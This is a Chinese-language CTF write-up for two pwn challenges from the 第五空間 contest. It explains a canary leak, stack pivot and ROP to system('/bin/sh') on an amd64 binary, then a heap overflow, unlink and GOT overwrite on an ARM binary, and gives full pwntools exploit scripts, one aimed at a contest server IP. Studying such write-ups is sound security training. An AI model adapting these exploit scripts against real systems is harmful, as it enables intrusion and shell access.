第五空間部分Writeup

twice

分析

保護情況

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函數

程序一共有兩次輸入的機會,第一次輸入長度爲 0x50+9 ;第二次輸入長度爲:0x50+0x20 。存儲字符串的變量 s 距離 rbp 是 0x60 ,也就是第二次輸入是棧溢出,溢出長度僅可覆蓋 rip 。

輸入處理函數:

__int64 __fastcall sub_4007A9(int a1)
{
  unsigned int v2; // [rsp+14h] [rbp-6Ch]
  int length; // [rsp+18h] [rbp-68h]
  int v4; // [rsp+1Ch] [rbp-64h]
  char s[88]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(s, 0, 0x50uLL);
  putchar('>');
  length = sub_40076D(0x50);
  if ( a1 )
  {
    if ( a1 != 1 )
      return 0LL;
    v2 = 0;
  }
  else
  {
    v2 = 1;
  }
  v4 = read(0, s, length);//第二次輸入棧溢出
  puts(s);
  if ( !a1 )
    s[v4 - 1] = 0;
  return v2;
}

處理輸入長度處理函數:

__int64 __fastcall sub_40076D(int length)
{
  unsigned int v2; // [rsp+10h] [rbp-4h]

  v2 = 0;
  if ( nCount )
  {
    if ( nCount == 1 )
      v2 = length + 0x20;//第二次輸入
  }
  else
  {
    v2 = length + 9;//第一次輸入
  }
  return v2;
}

思路

泄露canary

存在棧溢出肯定是需要利用棧溢出的,但是程序開始了 canary ,所以首先得繞過這個保護。第一次輸入的時候可以輸入長度剛剛好是 0x59 ,可以覆蓋 canary 低字節的結束符,然後在後續中打印出來。

payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

泄露棧地址

繞過 canary 之後就是利用棧溢出了,溢出長度不多僅僅能夠覆蓋 rip ,也就是不能直接通過普通棧溢出泄露 libc 地址,更別想後面的傳參和調用 system 。溢出長度不夠可以試下棧遷移。

我們只能控制棧上的數據,所以將 A 棧劫持到 B 棧。那就是需要知道我們能控制的棧的地址,就是需要泄露棧的 rbp 中的值(下一個棧的 rbp 內存地址)減去固定偏移,獲得當前棧的內存地址。

泄露的 payload 不需要單獨構造,在泄露 canary 的時候就一起泄露出來了。因爲 canary 是 8 字節,只是最低位是結束符,所以當最低位被覆蓋後,puts 會一直輸出直到遇到 rbp 中的結束符(\x00)。

通過調試發現偏移爲 0x70 。

泄露 libc

在第二次輸入的時,同時寫入要執行的命令和溢出 rbp&rip 。首先寫入需要執行的命令,寫的時候是從 0x8 個字節開始寫。因爲彙編的 leave|ret 最後會將 rsp 指向 rbp + 8 的地址,然後通過 ret 將 rbp + 8 地址的值壓入 rip 中。最後還要一個 main 完成 ROP 。

payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

填充長度,補上 canary ,將 rbp 覆蓋爲預定值,rip 再一次調用 leave|ret

payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)

兩次 leave|ret rbp、rsp 變化:

# begin
RBP  0x7fffffffdd80 —▸ 0x7fffffffdd20 ◂— 'aaaaaaaa#\t@'
RSP  0x7fffffffdd00 ◂— 0x0
RIP  0x400879 (sub_400676+208) ◂— leave
# round1
RBP  0x7fffffffdd20 ◂— 'aaaaaaaa#\t@'
RSP  0x7fffffffdd88 —▸ 0x400879 (sub_400676+208) ◂— leave  
RIP  0x40087a (sub_400676+209) ◂— ret  
# round2
RBP  0x6161616161616161 ('aaaaaaaa')
RSP  0x7fffffffdd28 —▸ 0x400923 (__libc_csu_init+99) ◂— pop    rdi
RIP  0x40087a (sub_400676+209) ◂— ret   

getshell

溢出長度不夠,getshell 還是劫持流程返回到棧上。因爲不是正常邏輯的調用,棧空間肯定是變化的,所以需用重新泄露 棧地址 (canary不變)。

payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr)
payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : twice.py
from pwn import *
context.log_level='debug'

#p = process("./pwn")
p = remote('121.36.59.116',9999)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_plt = elf.plt['puts']
log.info("puts_plt:"+hex(puts_plt))
puts_got = elf.got['puts']
log.info("puts_got:"+hex(puts_got))
main_addr = 0x040087B
pop_rdi = 0x0000000000400923
leave_ret = 0x0000000000400879

# leak canary&stack
payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

p.recvuntil('a'*0x59)
canary = u64(p.recv(7).rjust(8,'\x00'))
log.info("canary:"+hex(canary))
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("stack_addr:"+hex(stack_addr))

# leak libc
payload = 'a'*0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)
p.recvuntil(">")
gdb.attach(p)
p.send(payload)

puts_leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
log.info("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:"+hex(system))
binsh = libc_base + libc.search('/bin/sh\x00').next()
log.info("binsh:"+hex(binsh))


payload = 'a'*0x59
p.recvuntil(">")
p.send(payload)

p.recvuntil('a'*0x59)
canary = u64(p.recv(7).rjust(8,'\x00'))
log.info("canary:"+hex(canary))
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("stack_addr:"+hex(stack_addr))

payload = 'a'*0x8 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main_addr)
payload = payload.ljust(0x58,'\x00') + p64(canary)
payload += p64(stack_addr-0x70) + p64(leave_ret)
p.recvuntil(">")
p.send(payload)

p.interactive()

pwnme

本地調試環境

在兩位師兄和羣裏大佬幫助下實現本地調試

Ubuntu16.04 安裝 qemu 運行 Linux 3.16

如何 pwn 掉一個 arm 的binary

安裝文件

安裝qemu:

sudo apt install qemu qemu-system-arm

安裝橋接工具:

sudo apt-get install uml-utilities
sudo apt-get install bridge-utils

安裝交叉編譯工具鏈

sudo apt install gcc-arm-linux-gnueabi

安裝libc

將題目給的 lib 文件中的 so 文件放入到虛擬機的 /lib 文件夾。

建立鏈接:

sudo ln -s ./libuClibc-1.0.34.so ./libc.so.0
sudo ln -s ./ld-uClibc-1.0.34.so ./ld-uClibc.so.0
sudo ln -s ./libthread_db-1.0.34.so ./libthread_db.so.0

運行&調試

引用 bash-c 的模版,做題 exp 就寫在這個模版後面:

from pwn import *
import sys
context.binary = "a.out"

if sys.argv[1] == "r":
    sh = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"])
else:
    sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])

elf = ELF("a.out")
#libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
# local libc
libc = ELF("./libuClibc-1.0.34.so")

模版使用

  • python exp.py r 打遠程
  • python exp.py l 本地測試
  • python exp.py d/a/b/… 用於本地調試, exp 啓動後新啓一個終端, 使用 gdb-multiarch 就可以通過 target remote localhost:1234 來進行調試了

遠程和本地跟一個後綴就行了,本地調試參數不是 r & l 即可。開啓本地調試,依次執行:

# 終端1
python exp.py d
# 終端2
gdb-multiarch
target remote localhost:1234
# 輸入c開始運行程序

打斷點,我是在終端 2 中直接打斷點,沒有在 exp 中用 gdb.attach() 。還有一個問題就是 gdb 不能直接查堆,即使已經裝完幾個庫文件:

最後是通過找存放堆指針地址的數組(0x002106C)查堆空間。

分析

保護情況

Arch:     arm-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x10000)

漏洞函數

Change 功能沒有對輸入的長度進行限制;寫入全部數據後,還會在最後加一個 \x00 。

void mychange()
{
  char v0; // [sp+4h] [bp-20h]
  char v1; // [sp+Ch] [bp-18h]
  int v2; // [sp+14h] [bp-10h]
  int v3; // [sp+18h] [bp-Ch]
  int v4; // [sp+1Ch] [bp-8h]

  if ( chunk_num )
  {
    printf("Index:");
    read(0, (int)&v1, 8);
    v4 = atoi(&v1);
    if ( chunk_list[2 * v4] )
    {
      printf("Length:");
      read(0, (int)&v0, 8);
      v3 = atoi(&v0);
      printf("Tag:");
      v2 = read(0, chunk_list[2 * v4], v3);     // 堆溢出
      *(_BYTE *)(chunk_list[2 * v4] + v2) = 0;  // offbynull
    }
    else
    {
      puts("Invalid");
    }
  }
}

思路

佈置堆,3 號堆用來最後傳參 /bin/sh

add(0x10)#0
add(0x80)#1
add(0x10)#2
add(0x10,'/bin/sh\x00')#3

在 0 號堆佈置一個 fake chunk ,fd&bk 分別是 目標地址-12 和 目標地址-8 ,並溢出修改 1 號堆的 prev_size 和 PREV_INUSE 等等與 fake chunk 合併。

payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8)
payload += p32(0x10)+p32(0x88)
change(0,len(payload),payload)
remove(1)

之後數組中的 0 號堆指針指向 目標地址-8 :

show 功能是從數組上找堆地址,然後在輸出堆內容,所以往數組上寫 got 表地址,覆蓋堆指針,泄露 libc 地址。同時寫入需要修改的函數 got 表地址,用 Change 修改(原理和 show 一樣)。

payload = p32(elf.got['puts'])*5+p32(elf.got['free'])*4
change(0,len(payload),payload)
show()
……
change(2,4,p32(system))
remove(3)

exp

來自師兄的exp,我刪了多餘的堆,和調整了一下填充內容。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File    : exp.py
# @Author  : hope
# @site    : https://hop11.github.io/
from pwn import *
import sys
context.binary = "a.out"

if sys.argv[1] == "r":
    sh = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
    sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", "a.out"])
else:
    sh = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "a.out"])

elf = ELF("a.out")
#libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
# 本地 libc
libc = ELF("./libuClibc-1.0.34.so")
context.log_level = "debug"

def show():
	sh.recvuntil(">>> ")
	sh.sendline("1")
def add(length,content='a'):
	sh.recvuntil(">>> ")	
	sh.sendline("2")
	sh.recvuntil("Length:")
	sh.sendline(str(length))
	sh.recvuntil("Tag:")
	sh.send(content)
def change(index,length,content):
	sh.recvuntil(">>> ")	
	sh.sendline("3")
	sh.recvuntil("Index:")
	sh.sendline(str(index))
	sh.recvuntil("Length:")
	sh.sendline(str(length))
	sh.recvuntil("Tag:")
	sh.send(content)
def remove(index):
	sh.recvuntil(">>> ")	
	sh.sendline("4")
	sh.recvuntil("Tag:")
	sh.sendline(str(index))
# 堆數組地址
target = 0x002106C

add(0x10)#0 溢出
add(0x80)#1 被溢出
add(0x10)#2 用來修改函數
add(0x10,'/bin/sh\x00')#3 傳參

# unlink
payload = p32(0)+p32(0x11)+p32(target-12)+p32(target-8)
payload += p32(0x10)+p32(0x88)
change(0,len(payload),payload)
remove(1)

# leak libc
payload = p32(0x0)*3+p32(elf.got['puts'])
payload += p32(0x0)*3+p32(elf.got['free'])
change(0,len(payload),payload)
show()
sh.recvuntil("0 : ")

puts = u32(sh.recv(4))
print 'puts:'+hex(puts)
libc_base = puts - libc.symbols['puts']
print 'libc_base:'+hex(libc_base)
system = libc_base + libc.symbols['system']
print 'system:'+hex(system)

# overwrite free
change(2,4,p32(system))
remove(3)

sh.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章